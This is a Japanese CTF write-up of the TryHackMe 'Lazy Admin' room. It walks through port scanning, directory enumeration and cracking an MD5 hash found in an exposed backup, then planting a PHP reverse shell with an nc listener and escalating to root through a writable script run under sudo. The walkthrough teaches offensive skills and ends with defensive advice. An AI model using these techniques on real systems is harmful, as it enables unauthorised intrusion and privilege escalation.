はじめに
TryHackMeの "Lazy Admin" というルームのWriteupです。
なまけもののAdminをハックしていきましょう!
- 難易度 : Easy
目標
Recon (偵察) → Enumeration (列挙) → GainingAccess (侵入) → PrivEsc (権限昇格)
という流れで進めていきます。
侵入後に user.txt、権限昇格後に root.txt をゲットするのが目標です。
Recon
オープンポート調査
いつも通りnmapでオープンポートを調べていきます。
root@ip-10-10-224-4:~# nmap -Pn -A -T4 10.10.122.134
Starting Nmap 7.60 ( https://nmap.org ) at 2024-02-13 03:19 GMT
Nmap scan report for ip-10-10-122-134.eu-west-1.compute.internal (10.10.122.134)
Host is up (0.0025s latency).
Not shown: 890 closed ports, 108 filtered ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 49:7c:f7:41:10:43:73:da:2c:e6:38:95:86:f8:e0:f0 (RSA)
| 256 2f:d7:c4:4c:e8:1b:5a:90:44:df:c0:63:8c:72:ae:55 (ECDSA)
|_ 256 61:84:62:27:c6:c3:29:17:dd:27:45:9e:29:cb:90:5e (EdDSA)
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works
MAC Address: 02:34:74:0F:84:CF (Unknown)
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.60%E=4%D=2/13%OT=22%CT=1%CU=43575%PV=Y%DS=1%DC=D%G=Y%M=023474%T
OS:M=65CADFE3%P=x86_64-pc-linux-gnu)SEQ(SP=102%GCD=1%ISR=10A%TI=Z%CI=Z%TS=A
OS:)SEQ(SP=102%GCD=1%ISR=10A%TI=Z%CI=Z%II=I%TS=A)OPS(O1=M2301ST11NW7%O2=M23
OS:01ST11NW7%O3=M2301NNT11NW7%O4=M2301ST11NW7%O5=M2301ST11NW7%O6=M2301ST11)
OS:WIN(W1=68DF%W2=68DF%W3=68DF%W4=68DF%W5=68DF%W6=68DF)ECN(R=Y%DF=Y%T=40%W=
OS:6903%O=M2301NNSNW7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%F=AS%RD=0%Q=)T2(R=N
OS:)T3(R=N)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5(R=Y%DF=Y%T=40%W=0
OS:%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T7
OS:(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF=N%T=40%IPL=164%UN=
OS:0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=40%CD=S)
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE
HOP RTT ADDRESS
1 2.53 ms ip-10-10-122-134.eu-west-1.compute.internal (10.10.122.134)
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 24.27 seconds
22(ssh), 80(http)のポートが空いているようです。
Webサイトの偵察
Webサイトを見てみると、Apache2のデフォルトページが表示されました。
開発途中なのでしょうか。
隠しディレクトリ列挙
gobusterで存在するディレクトリの調査をしていきます。
root@ip-10-10-224-4:~# gobuster dir -w /usr/share/wordlists/dirb/common.txt -u http://10.10.122.134
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url: http://10.10.122.134
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/dirb/common.txt
[+] Status codes: 200,204,301,302,307,401,403
[+] User Agent: gobuster/3.0.1
[+] Timeout: 10s
===============================================================
2024/02/13 03:31:38 Starting gobuster
===============================================================
/.hta (Status: 403)
/.htpasswd (Status: 403)
/.htaccess (Status: 403)
/content (Status: 301)
/index.html (Status: 200)
/server-status (Status: 403)
===============================================================
2024/02/13 03:31:39 Finished
===============================================================
content
しか閲覧可能なディレクトリがないですね。
一応ワードリストを変えて以下のコマンドも実行してみましたが新しく怪しいディレクトリを見つけることはできませんでした。
gobuster dir -w /usr/share/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -x php js html -u http://10.10.122.134
/content
どうやら開発中のようです。
フッターにPowered by Basic-CMS.ORG
と書いてあります。
Basic-CMS
という名前のコンテンツマネジメントシステムが使われているようです。
リンクがあるので踏んでみると、Basic-CMS
のサイトに飛びました。
あまりサイトがかっこよくないので、架空のCMSなのでしょうか。
ソースコードを確認すると、開発中のメモのようなものを見つけました。
Webサイトで利用する予定のソースコードでしょうか。Javascriptが使われているようですね。
サブディレクトリ列挙
サブディレクトリ列挙忘れていた
しばらく他にディレクトリがないか調べていたのですが、/content
配下のディレクトリスキャンもしないといけないですね。
root@ip-10-10-224-4:~# gobuster dir -w /usr/share/wordlists/dirb/common.txt -u http://10.10.122.134/content
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url: http://10.10.122.134/content
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/dirb/common.txt
[+] Status codes: 200,204,301,302,307,401,403
[+] User Agent: gobuster/3.0.1
[+] Timeout: 10s
===============================================================
2024/02/13 04:00:49 Starting gobuster
===============================================================
/.htaccess (Status: 403)
/.hta (Status: 403)
/.htpasswd (Status: 403)
/_themes (Status: 301)
/as (Status: 301)
/attachment (Status: 301)
/images (Status: 301)
/inc (Status: 301)
/js (Status: 301)
/index.php (Status: 200)
===============================================================
2024/02/13 04:00:49 Finished
===============================================================
気になるディレクトリが見つかったので見ていきましょう。
/content/images
/content/inc10.10
下から5つ目にmysql_backup
というディレクトリを発見しました。
クリックしてみるとファイルがダウンロードできました。
mysql_backup
ファイルを発見
中身を見てみると、ユーザ名とパスワードのハッシュを発見。
chatGPTに聞いたところmd5のハッシュのようです。
"manager\\";s:6:\\"passwd\\";s:32:\\"42f749ade7f9e195bf475f37a44cafcb\\";
JohnTheRipperでハッシュクラックをしていきます。
root@ip-10-10-246-84:~# echo "42f749ade7f9e195bf475f37a44cafcb" > hash.txt
root@ip-10-10-246-84:~# john --format=raw-md5 --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
Using default input encoding: UTF-8
Loaded 1 password hash (Raw-MD5 [MD5 256/256 AVX2 8x3])
Warning: no OpenMP support for this hash type, consider --fork=2
Press 'q' or Ctrl-C to abort, almost any other key for status
+ Password123 (?)
1g 0:00:00:00 DONE (2024-02-13 09:22) 50.00g/s 1689Kp/s 1689Kc/s 1689KC/s classof2011..redcat
Use the "--show --format=Raw-MD5" options to display all of the cracked passwords reliably
Session completed.
パスワードが分かりましたね。
Gaining Access
/content/as
ログイン画面のようなものを見つけました。先ほどのパスワードでログインしてきましょう!
ログインすると、ダッシュボードが表示されました。
ブログのような機能があるようです。
これはリバースシェルを仕込むしかないですね!
リバースシェルを仕込む
こちらのサイトの "PHP PentestMonkey" というリバースシェルを使いました。
これをコピペして、、、ペタッと貼ります。
リスナーを起動しておきます。
nc -lvnp 7000
先ほど仕込んだリバースシェル "Pentest Monkey" をクリックして実行します。
リバースシェルに成功し、侵入することが出来ました!
root@ip-10-10-246-84:~# nc -lvnp 7000
Listening on [0.0.0.0] (family 0, port 7000)
Connection from 10.10.253.173 44252 received!
Linux THM-Chal 4.15.0-70-generic #79~16.04.1-Ubuntu SMP Tue Nov 12 11:54:29 UTC 2019 i686 i686 i686 GNU/Linux
11:31:27 up 47 min, 0 users, load average: 0.00, 0.00, 0.00
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
sh: 0: can't access tty; job control turned off
$ whoami
www-data
www-data
でログイン出来ているようですね。
シェルの安定化
いつも通り、シェルを安定化しておきます。
$ python -c 'import pty;pty.spawn("/bin/bash")'
www-data@THM-Chal:/$ ^Z
[1]+ Stopped nc -lvnp 7000
root@ip-10-10-246-84:~# stty raw -echo; fg
nc -lvnp 7000
www-data@THM-Chal:/$ whoami
www-data
www-data@THM-Chal:/$ export SHELL=bash
www-data@THM-Chal:/$
PrivEsc
SUIDかSUDOの脆弱性がないか調査していたら早速見つけました。
www-data@THM-Chal:/$ sudo -l
Matching Defaults entries for www-data on THM-Chal:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User www-data may run the following commands on THM-Chal:
(ALL) NOPASSWD: /usr/bin/perl /home/itguy/backup.pl
/usr/bin/perl /home/itguy/backup.pl
だけがsudoで実行できるようです。
/home/itguy/backup.pl
を書き換えるのかなと思ったが、書き込み権限がありませんでした。
#!/usr/bin/perl
system("sh", "/etc/copy.sh");
中身を見てみると、/etc/copy.sh
が呼ばれているようです。
/etc/copy.sh
には書き込み権限があったので、シェルで上書きします。
www-data@THM-Chal:/$ echo "/bin/bash" > /etc/copy.sh
これで/usr/bin/perl /home/itguy/backup.pl
を実行すれば、sudo権限でさきほど書き込んだ/bin/bash
が実行されるはずです。
www-data@THM-Chal:/$ sudo /usr/bin/perl /home/itguy/backup.pl
root@THM-Chal:/# whoami
root
root@THM-Chal:/#
perl /home/itguy/backup.pl
でも良いと思って勘違いしていた
sudo
が必要なようです
rootにログイン出来ました!
root@THM-Chal:/etc# export SHELL=bash
root@THM-Chal:/etc# find / -name user.txt 2>/dev/null
/home/itguy/user.txt
root@THM-Chal:/etc# cat /home/itguy/user.txt
THM{*******************}
root@THM-Chal:/etc# find / -name root.txt 2>/dev/null
/root/root.txt
root@THM-Chal:/etc# cat /root/root.txt
THM{********************}
root@THM-Chal:/etc#
無事2つのフラグが取得できました!!!
あとがき
SweetRiceとは
あとから SweetRice について調べてみたのですが、WordpressのようなCMSのようですね。今回のバージョンは1.5.1
なのですが、ExploitDBにコードが載っていたのでこれを使う方法もあったのかもしれません。
ExploitDB - SweetRice1.5.1
任意のファイルアップロードの脆弱性があるようです。
コメント
今まで解いたルームの良い復習になりました。
少し時間かかったポイントは以下の通りです。
- サブディレクトリ列挙を忘れていた
- mysql_backupファイルが読めない(→ chatGPTを利用)
防御側としては以下の点に注意しましょう。
- 適切なアクセス制御
-
mysql_backup
のような重要ファイルを見える場所に置かない
-
- パスワードリストにあるような脆弱なパスワードを利用しない
- SUDO権限のある実行ファイルへの書き込み権限の制御
Try Harder!